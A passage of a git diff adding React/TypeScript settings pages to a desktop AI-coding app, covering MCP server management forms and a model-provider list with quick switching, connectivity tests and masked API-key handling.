+      <p className="text-sm leading-6 text-[var(--color-text-secondary)]">
+        {pendingDeleteServer ? t('settings.mcp.form.deleteConfirmBody', { name: pendingDeleteServer.name }) : ''}
+      </p>
+    </Modal>
+  )
+
+  const handleSave = async () => {
+    if (!isDraftValid(draft)) return
+    setIsSaving(true)
+    try {
+      const payload = buildPayload(draft)
+      const saved = view.type === 'edit'
+        ? await updateServer(view.server, payload, resolveOperationCwd(view.server))
+        : await createServer(draft.name.trim(), payload, currentWorkDir)
+
+      addToast({
+        type: 'success',
+        message: view.type === 'edit'
+          ? t('settings.mcp.toast.saved', { name: saved.name })
+          : t('settings.mcp.toast.created', { name: saved.name }),
+      })
+      setView({ type: 'list' })
+      selectServer(null)
+    } catch (error) {
+      addToast({
+        type: 'error',
+        message: error instanceof Error ? error.message : t('settings.mcp.toast.saveFailed'),
+      })
+    } finally {
+      setIsSaving(false)
+    }
+  }
+
+  const setDraftField = <K extends keyof McpDraft>(key: K, value: McpDraft[K]) => {
+    setDraft((current) => ({ ...current, [key]: value }))
+  }
+
+  const updateStringRows = (key: 'args', id: string, value: string) => {
+    setDraft((current) => ({
+      ...current,
+      [key]: current[key].map((row) => (row.id === id ? { ...row, value } : row)),
+    }))
+  }
+
+  const updateKeyValueRows = (key: 'env' | 'headers', id: string, field: 'key' | 'value', value: string) => {
+    setDraft((current) => ({
+      ...current,
+      [key]: current[key].map((row) => (row.id === id ? { ...row, [field]: value } : row)),
+    }))
+  }
+
+  const addRow = (key: 'args' | 'env' | 'headers') => {
+    setDraft((current) => ({
+      ...current,
+      [key]: [...current[key], key === 'args' ? createStringRow() : createKeyValueRow()],
+    }))
+  }
+
+  const removeRow = (key: 'args' | 'env' | 'headers', id: string) => {
+    setDraft((current) => {
+      const next = current[key].filter((row) => row.id !== id)
+      return {
+        ...current,
+        [key]: next.length > 0 ? next : [key === 'args' ? createStringRow() : createKeyValueRow()],
+      }
+    })
+  }
+
+  if (view.type === 'details') {
+    const server = view.server
+    return (
+      <>
+        <div className="max-w-5xl min-w-0">
+          <button
+            type="button"
+            onClick={() => setView({ type: 'list' })}
+            className="mb-5 inline-flex items-center gap-2 text-sm text-[var(--color-text-secondary)] transition-colors hover:text-[var(--color-text-primary)]"
+          >
+            <span className="material-symbols-outlined text-[18px]">arrow_back</span>
+            {t('settings.mcp.form.back')}
+          </button>
+
+          <div className="flex items-start justify-between gap-4 mb-8">
+            <div>
+              <h2 className="text-[2.2rem] font-semibold tracking-[-0.03em] text-[var(--color-text-primary)]">{server.name}</h2>
+              <p className="mt-3 text-base text-[var(--color-text-secondary)]">{server.summary}</p>
+              <div className="mt-4 flex flex-wrap items-center gap-3">
+                <StatusBadge server={server} />
+                {server.statusDetail && (
+                  <span className="text-sm text-[var(--color-text-tertiary)]">{server.statusDetail}</span>
+                )}
+              </div>
+            </div>
+            {server.canReconnect && (
+              <Button variant="secondary" onClick={() => handleReconnect(server)} loading={busyServerName === server.name}>
+                <span className="material-symbols-outlined text-[16px]">sync</span>
+                {t('settings.mcp.form.reconnect')}
+              </Button>
+            )}
+          </div>
+
+          <section className="rounded-[var(--radius-xl)] border border-[var(--color-border)] bg-[var(--color-surface)] p-6">
+            <div className="grid gap-4 md:grid-cols-2">
+              <InfoPair label={t('settings.mcp.form.transport')} value={transportLabel(server.transport, t)} />
+              <InfoPair label={t('settings.mcp.form.scope')} value={scopeLabel(server, t)} />
+              <InfoPair label={t('settings.mcp.form.status')} value={server.statusLabel} />
+              <InfoPair label={t('settings.mcp.form.location')} value={server.configLocation} />
+            </div>
+            <div className="mt-5">
+              <div className="text-sm font-semibold text-[var(--color-text-primary)] mb-2">{t('settings.mcp.form.rawConfig')}</div>
+              <pre className="overflow-x-auto rounded-[var(--radius-lg)] bg-[var(--color-surface-hover)] p-4 text-xs text-[var(--color-text-secondary)]">
+                {JSON.stringify(server.config, null, 2)}
+              </pre>
+            </div>
+          </section>
+        </div>
+        {deleteModal}
+      </>
+    )
+  }
+
+  if (view.type === 'create' || view.type === 'edit') {
+    const editing = view.type === 'edit'
+    const targetServer = editing ? view.server : null
+    const transportLocked = editing
+    const isBusy = isSaving || isDeleting
+
+    return (
+      <>
+        <div className="max-w-5xl min-w-0">
+          <button
+            type="button"
+            onClick={() => setView({ type: 'list' })}
+            className="mb-5 inline-flex items-center gap-2 text-sm text-[var(--color-text-secondary)] transition-colors hover:text-[var(--color-text-primary)]"
+          >
+            <span className="material-symbols-outlined text-[18px]">arrow_back</span>
+            {t('settings.mcp.form.back')}
+          </button>
+
+          <div className="flex items-start justify-between gap-4 mb-8">
+            <div>
+              <h2 className="text-[2.2rem] font-semibold tracking-[-0.03em] text-[var(--color-text-primary)]">
+                {editing ? t('settings.mcp.form.editTitle', { name: targetServer!.name }) : t('settings.mcp.form.createTitle')}
+              </h2>
+              <p className="mt-3 text-base text-[var(--color-text-secondary)]">
+                {editing ? t('settings.mcp.form.editHint') : t('settings.mcp.form.createHint')}
+              </p>
+              {editing && targetServer && (
+                <div className="mt-4 flex flex-wrap items-center gap-3">
+                  <StatusBadge server={targetServer} />
+                  {targetServer.statusDetail && (
+                    <span className="text-sm text-[var(--color-text-tertiary)]">{targetServer.statusDetail}</span>
+                  )}
+                </div>
+              )}
+            </div>
+
+            <div className="flex items-center gap-3">
+              {editing && targetServer?.canReconnect && (
+                <Button variant="secondary" onClick={() => handleReconnect(targetServer)} loading={busyServerName === targetServer.name}>
+                  <span className="material-symbols-outlined text-[16px]">sync</span>
+                  {t('settings.mcp.form.reconnect')}
+                </Button>
+              )}
+              {editing && targetServer?.canRemove && (
+                <Button
+                  variant="ghost"
+                  className="text-[var(--color-error)] hover:text-[var(--color-error)] hover:bg-[var(--color-error)]/8"
+                  onClick={() => handleDelete(targetServer)}
+                  loading={isDeleting}
+                >
+                  <span className="material-symbols-outlined text-[16px]">delete</span>
+                  {t('settings.mcp.form.uninstall')}
+                </Button>
+              )}
+            </div>
+          </div>
+
+          <div className="space-y-4">
+          <section className="rounded-[var(--radius-xl)] border border-[var(--color-border)] bg-[var(--color-surface)] p-5">
+            <Input
+              label={t('settings.mcp.form.name')}
+              value={draft.name}
+              onChange={(event) => setDraftField('name', event.target.value)}
+              placeholder={t('settings.mcp.form.namePlaceholder')}
+              disabled={editing}
+              required
+            />
+          </section>
+
+          <section className="rounded-[var(--radius-xl)] border border-[var(--color-border)] bg-[var(--color-surface)] p-5">
+            <div className="text-sm font-semibold text-[var(--color-text-primary)] mb-2">
+              {t('settings.mcp.form.scope')}
+            </div>
+            <p className="text-xs leading-5 text-[var(--color-text-tertiary)]">
+              {t('settings.mcp.globalOnlyHint')}
+            </p>
+          </section>
+
+          <section className="rounded-[var(--radius-xl)] border border-[var(--color-border)] bg-[var(--color-surface)] overflow-hidden">
+            <div className="grid grid-cols-3">
+              {(['stdio', 'http', 'sse'] as TransportKind[]).map((transport) => {
+                const active = draft.transport === transport
+                return (
+                  <button
+                    key={transport}
+                    type="button"
+                    disabled={transportLocked}
+                    onClick={() => setDraftField('transport', transport)}
+                    className={`h-14 text-sm font-semibold transition-colors ${
+                      active
+                        ? 'bg-[var(--color-surface-selected)] text-[var(--color-text-primary)]'
+                        : 'bg-[var(--color-surface)] text-[var(--color-text-secondary)] hover:bg-[var(--color-surface-hover)]'
+                    } ${transportLocked ? 'cursor-not-allowed opacity-70' : ''}`}
+                  >
+                    {transport === 'stdio' ? 'STDIO' : transportLabel(transport, t)}
+                  </button>
+                )
+              })}
+            </div>
+          </section>
+
+          {editing && (
+            <div className="text-sm text-[var(--color-text-tertiary)]">
+              {t('settings.mcp.form.transportLocked')}
+            </div>
+          )}
+
+          {draft.transport === 'stdio' ? (
+            <>
+              <section className="rounded-[var(--radius-xl)] border border-[var(--color-border)] bg-[var(--color-surface)] p-5">
+                <Input
+                  label={t('settings.mcp.form.command')}
+                  value={draft.command}
+                  onChange={(event) => setDraftField('command', event.target.value)}
+                  placeholder={t('settings.mcp.form.commandPlaceholder')}
+                  required
+                />
+                <p className="mt-2 text-xs leading-5 text-[var(--color-text-tertiary)]">
+                  {t('settings.mcp.form.commandHostHint')}
+                </p>
+              </section>
+
+              <ArraySection
+                title={t('settings.mcp.form.arguments')}
+                rows={draft.args}
+                onChange={(id, _field, value) => updateStringRows('args', id, value)}
+                onAdd={() => addRow('args')}
+                onRemove={(id) => removeRow('args', id)}
+                singleValue
+                valuePlaceholder={t('settings.mcp.form.argumentPlaceholder')}
+                addLabel={t('settings.mcp.form.addArgument')}
+              />
+
+              <ArraySection
+                title={t('settings.mcp.form.environmentVariables')}
+                rows={draft.env}
+                onChange={(id, field, value) => updateKeyValueRows('env', id, field, value)}
+                onAdd={() => addRow('env')}
+                onRemove={(id) => removeRow('env', id)}
+                keyPlaceholder={t('settings.mcp.form.keyPlaceholder')}
+                valuePlaceholder={t('settings.mcp.form.valuePlaceholder')}
+                addLabel={t('settings.mcp.form.addEnv')}
+              />
+            </>
+          ) : (
+            <>
+              <section className="rounded-[var(--radius-xl)] border border-[var(--color-border)] bg-[var(--color-surface)] p-5">
+                <Input
+                  label={draft.transport === 'http' ? t('settings.mcp.form.url') : t('settings.mcp.form.sseUrl')}
+                  value={draft.url}
+                  onChange={(event) => setDraftField('url', event.target.value)}
+                  placeholder={t('settings.mcp.form.urlPlaceholder')}
+                  required
+                />
+              </section>
+
+              <ArraySection
+                title={t('settings.mcp.form.headers')}
+                rows={draft.headers}
+                onChange={(id, field, value) => updateKeyValueRows('headers', id, field, value)}
+                onAdd={() => addRow('headers')}
+                onRemove={(id) => removeRow('headers', id)}
+                keyPlaceholder={t('settings.mcp.form.keyPlaceholder')}
+                valuePlaceholder={t('settings.mcp.form.valuePlaceholder')}
+                addLabel={t('settings.mcp.form.addHeader')}
+              />
+
+              <section className="rounded-[var(--radius-xl)] border border-[var(--color-border)] bg-[var(--color-surface)] p-5">
+                <div className="grid gap-4 md:grid-cols-2">
+                  <Input
+                    label={t('settings.mcp.form.oauthClientId')}
+                    value={draft.oauthClientId}
+                    onChange={(event) => setDraftField('oauthClientId', event.target.value)}
+                    placeholder={t('settings.mcp.form.oauthClientIdPlaceholder')}
+                  />
+                  <Input
+                    label={t('settings.mcp.form.oauthCallbackPort')}
+                    value={draft.oauthCallbackPort}
+                    onChange={(event) => setDraftField('oauthCallbackPort', event.target.value)}
+                    placeholder={t('settings.mcp.form.oauthCallbackPortPlaceholder')}
+                  />
+                </div>
+                <div className="mt-4">
+                  <Input
+                    label={t('settings.mcp.form.headersHelper')}
+                    value={draft.headersHelper}
+                    onChange={(event) => setDraftField('headersHelper', event.target.value)}
+                    placeholder={t('settings.mcp.form.headersHelperPlaceholder')}
+                  />
+                </div>
+              </section>
+            </>
+          )}
+
+          <div className="flex justify-end pt-2">
+            <Button onClick={handleSave} disabled={!isDraftValid(draft) || isBusy} loading={isSaving}>
+              {t('settings.mcp.form.save')}
+            </Button>
+          </div>
+        </div>
+        </div>
+        {deleteModal}
+      </>
+    )
+  }
+
+  return (
+    <div className="max-w-5xl min-w-0">
+      <div className="flex items-start justify-between gap-6 mb-8">
+        <div>
+          <h2 className="text-[2.2rem] font-semibold tracking-[-0.03em] text-[var(--color-text-primary)]">
+            {t('settings.mcp.title')}
+          </h2>
+          <p className="mt-3 text-base text-[var(--color-text-secondary)]">
+            {t('settings.mcp.description')}
+          </p>
+        </div>
+        <Button variant="secondary" size="lg" onClick={beginCreate}>
+          <span className="material-symbols-outlined text-[18px]">add</span>
+          {t('settings.mcp.addServer')}
+        </Button>
+      </div>
+
+      <div className="grid gap-4 md:grid-cols-3 mb-8">
+        <StatCard label={t('settings.mcp.stats.total')} value={stats.total} icon="dns" />
+        <StatCard label={t('settings.mcp.stats.connected')} value={stats.connected} icon="check_circle" />
+        <StatCard label={t('settings.mcp.stats.attention')} value={stats.attention} icon="error" />
+      </div>
+
+      {isLoading && servers.length === 0 ? (
+        <div className="flex justify-center py-16">
+          <div className="animate-spin h-6 w-6 rounded-full border-2 border-[var(--color-brand)] border-t-transparent" />
+        </div>
+      ) : error ? (
+        <div className="text-center py-16 rounded-2xl border border-dashed border-[var(--color-border)] bg-[var(--color-surface-container-low)]">
+          <span className="material-symbols-outlined text-[40px] text-[var(--color-error)] mb-3 block">error</span>
+          <p className="text-sm text-[var(--color-error)] mb-3">{error}</p>
+          <button
+            type="button"
+            onClick={() => void fetchServers(undefined, currentWorkDir)}
+            className="text-sm text-[var(--color-text-accent)] hover:underline"
+          >
+            {t('common.retry')}
+          </button>
+        </div>
+      ) : servers.length === 0 ? (
+        <div className="text-center py-16 rounded-2xl border border-dashed border-[var(--color-border)] bg-[var(--color-surface-container-low)]">
+          <span className="material-symbols-outlined text-[40px] text-[var(--color-text-tertiary)] mb-3 block">dns</span>
+          <p className="text-sm text-[var(--color-text-secondary)] mb-1">{t('settings.mcp.empty')}</p>
+          <p className="text-xs text-[var(--color-text-tertiary)]">{t('settings.mcp.emptyHint')}</p>
+        </div>
+      ) : (
+        <div className="flex flex-col gap-6">
+          {MCP_GROUP_ORDER.map((group) => {
+            const groupServers = groupedServers[group]
+            if (!groupServers?.length) return null
+
+            return (
+              <section key={group}>
+                <div className="flex items-center justify-between mb-3">
+                  <div className="text-[1.35rem] font-semibold text-[var(--color-text-primary)]">
+                    {group === 'plugin' ? t('settings.mcp.scope.plugin') : t(`settings.mcp.scope.${group}`)}
+                  </div>
+                  <div className="text-sm text-[var(--color-text-tertiary)]">{groupServers.length}</div>
+                </div>
+                <div className="rounded-[28px] border border-[var(--color-border)] bg-[var(--color-surface)] overflow-hidden">
+                  {groupServers.map((server) => (
+                    <ServerRow
+                      key={`${server.scope}:${server.name}`}
+                      server={server}
+                      isBusy={busyServerName === server.name}
+                      onOpen={() => beginEdit(server)}
+                      onToggle={() => void handleToggle(server)}
+                      t={t}
+                    />
+                  ))}
+                </div>
+              </section>
+            )
+          })}
+        </div>
+      )}
+      {deleteModal}
+    </div>
+  )
+}
+
+function InfoPair({ label, value }: { label: string; value: string }) {
+  return (
+    <div className="rounded-[var(--radius-lg)] bg-[var(--color-surface-hover)] px-4 py-3">
+      <div className="text-xs uppercase tracking-[0.16em] font-semibold text-[var(--color-text-tertiary)] mb-2">{label}</div>
+      <div className="text-sm text-[var(--color-text-primary)] break-all">{value}</div>
+    </div>
+  )
+}
diff --git a/cc-haha/desktop/src/pages/Settings.tsx b/cc-haha/desktop/src/pages/Settings.tsx
new file mode 100644
index 0000000..e2d6ff2
--- /dev/null
+++ b/cc-haha/desktop/src/pages/Settings.tsx
@@ -0,0 +1,1765 @@
+import { useState, useEffect, useMemo, useRef, type ReactNode } from 'react'
+import { useSettingsStore } from '../stores/settingsStore'
+import { useProviderStore } from '../stores/providerStore'
+import { useTranslation } from '../i18n'
+import { Modal } from '../components/shared/Modal'
+import { ConfirmDialog } from '../components/shared/ConfirmDialog'
+import { Input } from '../components/shared/Input'
+import { Button } from '../components/shared/Button'
+import { Dropdown } from '../components/shared/Dropdown'
+import type { PermissionMode, EffortLevel, ThemeMode } from '../types/settings'
+import type { Locale } from '../i18n'
+import type { SavedProvider, UpdateProviderInput, ProviderTestResult, ModelMapping, ApiFormat } from '../types/provider'
+import type { ProviderPreset } from '../types/providerPreset'
+import { AdapterSettings } from './AdapterSettings'
+import { useAgentStore } from '../stores/agentStore'
+import { useSessionStore } from '../stores/sessionStore'
+import type { AgentDefinition, AgentSource } from '../api/agents'
+import { MarkdownRenderer } from '../components/markdown/MarkdownRenderer'
+import { useSkillStore } from '../stores/skillStore'
+import { SkillList } from '../components/skills/SkillList'
+import { SkillDetail } from '../components/skills/SkillDetail'
+import { usePluginStore } from '../stores/pluginStore'
+import { PluginList } from '../components/plugins/PluginList'
+import { PluginDetail } from '../components/plugins/PluginDetail'
+import { ComputerUseSettings } from './ComputerUseSettings'
+import { McpSettings } from './McpSettings'
+import { useUIStore, type SettingsTab } from '../stores/uiStore'
+import { ClaudeOfficialLogin } from '../components/settings/ClaudeOfficialLogin'
+import { useUpdateStore } from '../stores/updateStore'
+import { formatBytes } from '../lib/formatBytes'
+import { isTauriRuntime } from '../lib/desktopRuntime'
+
+export function Settings() {
+  const [activeTab, setActiveTab] = useState<SettingsTab>('permissions')
+  const pendingSettingsTab = useUIStore((s) => s.pendingSettingsTab)
+  const t = useTranslation()
+
+  useEffect(() => {
+    if (!pendingSettingsTab) return
+    setActiveTab(pendingSettingsTab)
+    useUIStore.getState().setPendingSettingsTab(null)
+  }, [pendingSettingsTab])
+
+  return (
+    <div className="flex-1 flex flex-col overflow-hidden bg-[var(--color-surface)]">
+      <div className="flex-1 flex overflow-hidden">
+        {/* Tab navigation */}
+        <div className="w-[180px] border-r border-[var(--color-border)] py-3 flex-shrink-0 flex flex-col">
+          <div className="flex-1">
+            <TabButton icon="shield" label={t('settings.tab.permissions')} active={activeTab === 'permissions'} onClick={() => setActiveTab('permissions')} />
+            <TabButton icon="tune" label={t('settings.tab.general')} active={activeTab === 'general'} onClick={() => setActiveTab('general')} />
+            <TabButton icon="chat" label={t('settings.tab.adapters')} active={activeTab === 'adapters'} onClick={() => setActiveTab('adapters')} />
+            <TabButton icon="dns" label={t('settings.tab.mcp')} active={activeTab === 'mcp'} onClick={() => setActiveTab('mcp')} />
+            <TabButton icon="smart_toy" label={t('settings.tab.agents')} active={activeTab === 'agents'} onClick={() => setActiveTab('agents')} />
+            <TabButton icon="auto_awesome" label={t('settings.tab.skills')} active={activeTab === 'skills'} onClick={() => setActiveTab('skills')} />
+            <TabButton icon="extension" label={t('settings.tab.plugins')} active={activeTab === 'plugins'} onClick={() => setActiveTab('plugins')} />
+            <TabButton icon="mouse" label={t('settings.tab.computerUse')} active={activeTab === 'computerUse'} onClick={() => setActiveTab('computerUse')} />
+          </div>
+          <div className="border-t border-[var(--color-border)]/40 pt-1">
+            <TabButton icon="info" label={t('settings.tab.about')} active={activeTab === 'about'} onClick={() => setActiveTab('about')} />
+          </div>
+        </div>
+
+        {/* Tab content */}
+        <div className="flex-1 overflow-y-auto px-8 py-6">
+          {activeTab === 'permissions' && <PermissionSettings />}
+          {activeTab === 'general' && <GeneralSettings />}
+          {activeTab === 'adapters' && <AdapterSettings />}
+          {activeTab === 'mcp' && <McpSettings />}
+          {activeTab === 'agents' && <AgentsSettings />}
+          {activeTab === 'skills' && <SkillSettings />}
+          {activeTab === 'plugins' && <PluginSettings />}
+          {activeTab === 'computerUse' && <ComputerUseSettings />}
+          {activeTab === 'about' && <AboutSettings />}
+        </div>
+      </div>
+    </div>
+  )
+}
+
+function TabButton({ icon, label, active, onClick }: { icon: string; label: string; active: boolean; onClick: () => void }) {
+  return (
+    <button
+      onClick={onClick}
+      className={`w-full flex items-center gap-2.5 px-4 py-2.5 text-sm text-left transition-colors ${
+        active
+          ? 'bg-[var(--color-surface-selected)] text-[var(--color-text-primary)] font-medium'
+          : 'text-[var(--color-text-secondary)] hover:bg-[var(--color-surface-hover)]'
+      }`}
+    >
+      <span className="material-symbols-outlined text-[18px]">{icon}</span>
+      {label}
+    </button>
+  )
+}
+
+// ─── Provider Settings ──────────────────────────────────────
+
+function ProviderSettings() {
+  const {
+    providers,
+    activeId,
+    hasLoadedProviders,
+    presets,
+    isLoading,
+    isPresetsLoading,
+    fetchProviders,
+    fetchPresets,
+    deleteProvider,
+    activateProvider,
+    activateOfficial,
+    testProvider,
+  } = useProviderStore()
+  const fetchSettings = useSettingsStore((s) => s.fetchAll)
+  const t = useTranslation()
+  const [editingProvider, setEditingProvider] = useState<SavedProvider | null>(null)
+  const [showCreateModal, setShowCreateModal] = useState(false)
+  const [pendingDeleteProvider, setPendingDeleteProvider] = useState<SavedProvider | null>(null)
+  const [isDeletingProvider, setIsDeletingProvider] = useState(false)
+  const [testResults, setTestResults] = useState<Record<string, { loading: boolean; result?: ProviderTestResult }>>({})
+
+  useEffect(() => {
+    void fetchProviders()
+    void fetchPresets()
+  }, [fetchPresets, fetchProviders])
+
+  const presetMap = useMemo(
+    () => new Map(presets.map((preset) => [preset.id, preset])),
+    [presets],
+  )
+
+  const handleDelete = async (provider: SavedProvider) => {
+    if (activeId === provider.id) return
+    setPendingDeleteProvider(provider)
+  }
+
+  const confirmDelete = async () => {
+    if (!pendingDeleteProvider) return
+    setIsDeletingProvider(true)
+    try {
+      await deleteProvider(pendingDeleteProvider.id)
+      setPendingDeleteProvider(null)
+    } catch (error) {
+      console.error(error)
+    } finally {
+      setIsDeletingProvider(false)
+    }
+  }
+
+  const handleTest = async (provider: SavedProvider) => {
+    setTestResults((r) => ({ ...r, [provider.id]: { loading: true } }))
+    try {
+      const result = await testProvider(provider.id)
+      setTestResults((r) => ({ ...r, [provider.id]: { loading: false, result } }))
+    } catch {
+      setTestResults((r) => ({ ...r, [provider.id]: { loading: false, result: { connectivity: { success: false, latencyMs: 0, error: t('settings.providers.requestFailed') } } } }))
+    }
+  }
+
+  const handleActivate = async (id: string) => {
+    await activateProvider(id)
+    await fetchSettings()
+  }
+
+  const handleActivateOfficial = async () => {
+    await activateOfficial()
+    await fetchSettings()
+  }
+
+  const isOfficialActive = hasLoadedProviders && activeId === null
+  const activeProvider = providers.find((p) => p.id === activeId) ?? null
+  const quickSwitchItems = [
+    { id: '__official__', name: t('settings.providers.officialName') },
+    ...providers.map((p) => ({ id: p.id, name: p.name })),
+  ]
+
+  return (
+    <div className="max-w-2xl">
+      <div className="flex items-center justify-between mb-4">
+        <div>
+          <h2 className="text-base font-semibold text-[var(--color-text-primary)]">{t('settings.providers.title')}</h2>
+          <p className="text-sm text-[var(--color-text-tertiary)] mt-0.5">{t('settings.providers.description')}</p>
+        </div>
+        <Button size="sm" onClick={() => setShowCreateModal(true)} disabled={isPresetsLoading || presets.length === 0}>
+          <span className="material-symbols-outlined text-[16px]">add</span>
+          {t('settings.providers.addProvider')}
+        </Button>
+      </div>
+
+      <div className="mb-3 rounded-xl border border-[var(--color-border)] bg-[var(--color-surface-container-low)] px-4 py-3">
+        <div className="text-xs text-[var(--color-text-tertiary)]">
+          当前服务商
+        </div>
+        <div className="mt-1 text-sm font-medium text-[var(--color-text-primary)]">
+          {isOfficialActive ? t('settings.providers.officialName') : (activeProvider?.name ?? '未选择')}
+        </div>
+        <div className="mt-3 flex flex-wrap gap-2">
+          {quickSwitchItems.map((item) => {
+            const selected = (isOfficialActive && item.id === '__official__') || activeId === item.id
+            return (
+              <button
+                key={item.id}
+                type="button"
+                onClick={() => {
+                  if (item.id === '__official__') {
+                    void handleActivateOfficial()
+                  } else {
+                    void handleActivate(item.id)
+                  }
+                }}
+                className={`rounded-full border px-3 py-1.5 text-xs transition-colors ${
+                  selected
+                    ? 'border-[var(--color-brand)] bg-[var(--color-brand)] text-white'
+                    : 'border-[var(--color-border)] text-[var(--color-text-secondary)] hover:bg-[var(--color-surface-hover)]'
+                }`}
+              >
+                {item.name}
+              </button>
+            )
+          })}
+        </div>
+      </div>
+
+      {/* Official provider — always visible at top */}
+      <div
+        className={`relative flex flex-col rounded-xl border transition-all mb-2 ${
+          isOfficialActive
+            ? 'border-[var(--color-brand)] bg-[var(--color-surface-container)] shadow-[var(--shadow-focus-ring)]'
+            : 'border-[var(--color-border)] hover:border-[var(--color-border-focus)] cursor-pointer'
+        }`}
+      >
+        <div
+          className="flex items-center gap-4 px-4 py-3.5"
+          onClick={() => !isOfficialActive && handleActivateOfficial()}
+        >
+          <span className={`w-2.5 h-2.5 rounded-full flex-shrink-0 ${isOfficialActive ? 'bg-[var(--color-success)]' : 'bg-[var(--color-text-tertiary)]'}`} />
+          <div className="flex-1 min-w-0">
+            <div className="flex items-center gap-2">
+              <span className="text-sm font-semibold text-[var(--color-text-primary)]">{t('settings.providers.officialName')}</span>
+              {isOfficialActive && (
+                <span className="px-1.5 py-0.5 text-[10px] font-bold rounded border border-[var(--color-brand)]/18 bg-[var(--color-brand)]/14 text-[var(--color-brand)] leading-none">{t('settings.providers.default')}</span>
+              )}
+            </div>
+            <div className="text-xs text-[var(--color-text-tertiary)] mt-0.5">{t('settings.providers.officialDesc')}</div>
+          </div>
+        </div>
+
+        {isOfficialActive && (
+          <div className="px-4 pb-4 pt-3 border-t border-[var(--color-border-separator)]">
+            <ClaudeOfficialLogin />
+          </div>
+        )}
+      </div>
+
+      {/* Saved providers */}
+      {isLoading && providers.length === 0 ? (
+        <div className="flex justify-center py-8">
+          <div className="animate-spin w-5 h-5 border-2 border-[var(--color-brand)] border-t-transparent rounded-full" />
+        </div>
+      ) : (
+        <div className="flex flex-col gap-2">
+          {providers.map((provider) => {
+            const isActive = activeId === provider.id
+            const test = testResults[provider.id]
+            const preset = presetMap.get(provider.presetId)
+            return (
+              <div
+                key={provider.id}
+                className={`relative flex items-center gap-4 px-4 py-3.5 rounded-xl border transition-all group ${
+                  isActive
+                    ? 'border-[var(--color-brand)] bg-[var(--color-surface-container)] shadow-[var(--shadow-focus-ring)]'
+                    : 'border-[var(--color-border)] hover:border-[var(--color-border-focus)]'
+                }`}
+              >
+                <span className={`w-2.5 h-2.5 rounded-full flex-shrink-0 ${isActive ? 'bg-[var(--color-success)]' : 'bg-[var(--color-text-tertiary)]'}`} />
+                <div className="flex-1 min-w-0">
+                  <div className="flex items-center gap-2">
+                    <span className="text-sm font-semibold text-[var(--color-text-primary)] truncate">{provider.name}</span>
+                    {preset && preset.id !== 'custom' && (
+                      <span className="px-1.5 py-0.5 text-[10px] font-medium rounded bg-[var(--color-surface-container-high)] text-[var(--color-text-tertiary)] leading-none">{preset.name}</span>
+                    )}
+                    {provider.apiFormat && provider.apiFormat !== 'anthropic' && (
+                      <span className="px-1.5 py-0.5 text-[10px] font-medium rounded bg-[var(--color-surface-container-high)] text-[var(--color-warning)] leading-none">
+                        {provider.apiFormat === 'openai_chat' ? 'OpenAI Chat' : 'OpenAI Responses'}
+                      </span>
+                    )}
+                    {isActive && (
+                      <span className="px-1.5 py-0.5 text-[10px] font-bold rounded border border-[var(--color-brand)]/18 bg-[var(--color-brand)]/14 text-[var(--color-brand)] leading-none">{t('settings.providers.default')}</span>
+                    )}
+                  </div>
+                  <div className="text-xs text-[var(--color-text-tertiary)] truncate mt-0.5">
+                    {provider.baseUrl} &middot; {provider.models.main}
+                  </div>
+                  {test && !test.loading && test.result && (
+                    <div className="text-xs mt-1 flex flex-col gap-0.5">
+                      <span className={test.result.connectivity.success ? 'text-[var(--color-success)]' : 'text-[var(--color-error)]'}>
+                        {test.result.connectivity.success
+                          ? t('settings.providers.connectivityOk', { latency: String(test.result.connectivity.latencyMs) })
+                          : t('settings.providers.connectivityFailed', { error: test.result.connectivity.error || '' })}
+                      </span>
+                      {test.result.proxy && (
+                        <span className={test.result.proxy.success ? 'text-[var(--color-success)]' : 'text-[var(--color-error)]'}>
+                          {test.result.proxy.success
+                            ? t('settings.providers.proxyOk', { latency: String(test.result.proxy.latencyMs) })
+                            : t('settings.providers.proxyFailed', { error: test.result.proxy.error || '' })}
+                        </span>
+                      )}
+                    </div>
+                  )}
+                </div>
+                <div className="flex items-center gap-1 flex-shrink-0">
+                  {!isActive && (
+                    <Button variant="ghost" size="sm" onClick={() => handleActivate(provider.id)}>{t('settings.providers.setDefault')}</Button>
+                  )}
+                  <Button variant="ghost" size="sm" onClick={() => handleTest(provider)} loading={test?.loading}>{t('settings.providers.test')}</Button>
+                  <Button variant="ghost" size="sm" onClick={() => setEditingProvider(provider)}>{t('settings.providers.edit')}</Button>
+                  {!isActive && (
+                    <Button variant="ghost" size="sm" onClick={() => handleDelete(provider)} className="text-[var(--color-error)] hover:text-[var(--color-error)]">{t('common.delete')}</Button>
+                  )}
+                </div>
+              </div>
+            )
+          })}
+        </div>
+      )}
+
+      {/* Create Modal — conditionally rendered so state resets on close */}
+      {showCreateModal && (
+        <ProviderFormModal open={true} onClose={() => setShowCreateModal(false)} mode="create" presets={presets} />
+      )}
+
+      {/* Edit Modal */}
+      {editingProvider && (
+        <ProviderFormModal key={editingProvider.id} open={true} onClose={() => setEditingProvider(null)} mode="edit" provider={editingProvider} presets={presets} />
+      )}
+
+      <ConfirmDialog
+        open={pendingDeleteProvider !== null}
+        onClose={() => {
+          if (isDeletingProvider) return
+          setPendingDeleteProvider(null)
+        }}
+        onConfirm={confirmDelete}
+        title={t('common.delete')}
+        body={pendingDeleteProvider ? t('settings.providers.confirmDelete', { name: pendingDeleteProvider.name }) : ''}
+        confirmLabel={t('common.delete')}
+        cancelLabel={t('common.cancel')}
+        confirmVariant="danger"
+        loading={isDeletingProvider}
+      />
+    </div>
+  )
+}
+
+// ─── Provider Form Modal ──────────────────────────────────────
+
+type ProviderFormProps = {
+  open: boolean
+  onClose: () => void
+  mode: 'create' | 'edit'
+  provider?: SavedProvider
+  presets: ProviderPreset[]
+}
+
+function requirePreset(preset: ProviderPreset | undefined): ProviderPreset {
+  if (!preset) {
+    throw new Error('Provider presets are not configured')
+  }
+  return preset
+}
+
+function buildFallbackPreset(provider?: SavedProvider): ProviderPreset {
+  return {
+    id: provider?.presetId ?? 'custom',
+    name: provider?.name ?? 'Custom',
+    baseUrl: provider?.baseUrl ?? '',
+    apiFormat: provider?.apiFormat ?? 'anthropic',
+    defaultModels: provider?.models ?? { main: '', haiku: '', sonnet: '', opus: '' },
+    needsApiKey: true,
+    websiteUrl: '',
+  }
+}
+
+function openExternalUrl(url: string) {
+  if (!isTauriRuntime()) {
+    window.open(url, '_blank', 'noopener,noreferrer')
+    return
+  }
+
+  void import('@tauri-apps/plugin-shell')
+    .then((mod) => mod.open(url))
+    .catch(() => window.open(url, '_blank', 'noopener,noreferrer'))
+}
+
+const API_KEY_JSON_PLACEHOLDER = '••••••••'
+const API_KEY_JSON_KEYS = ['ANTHROPIC_API_KEY', 'ANTHROPIC_AUTH_TOKEN'] as const
+
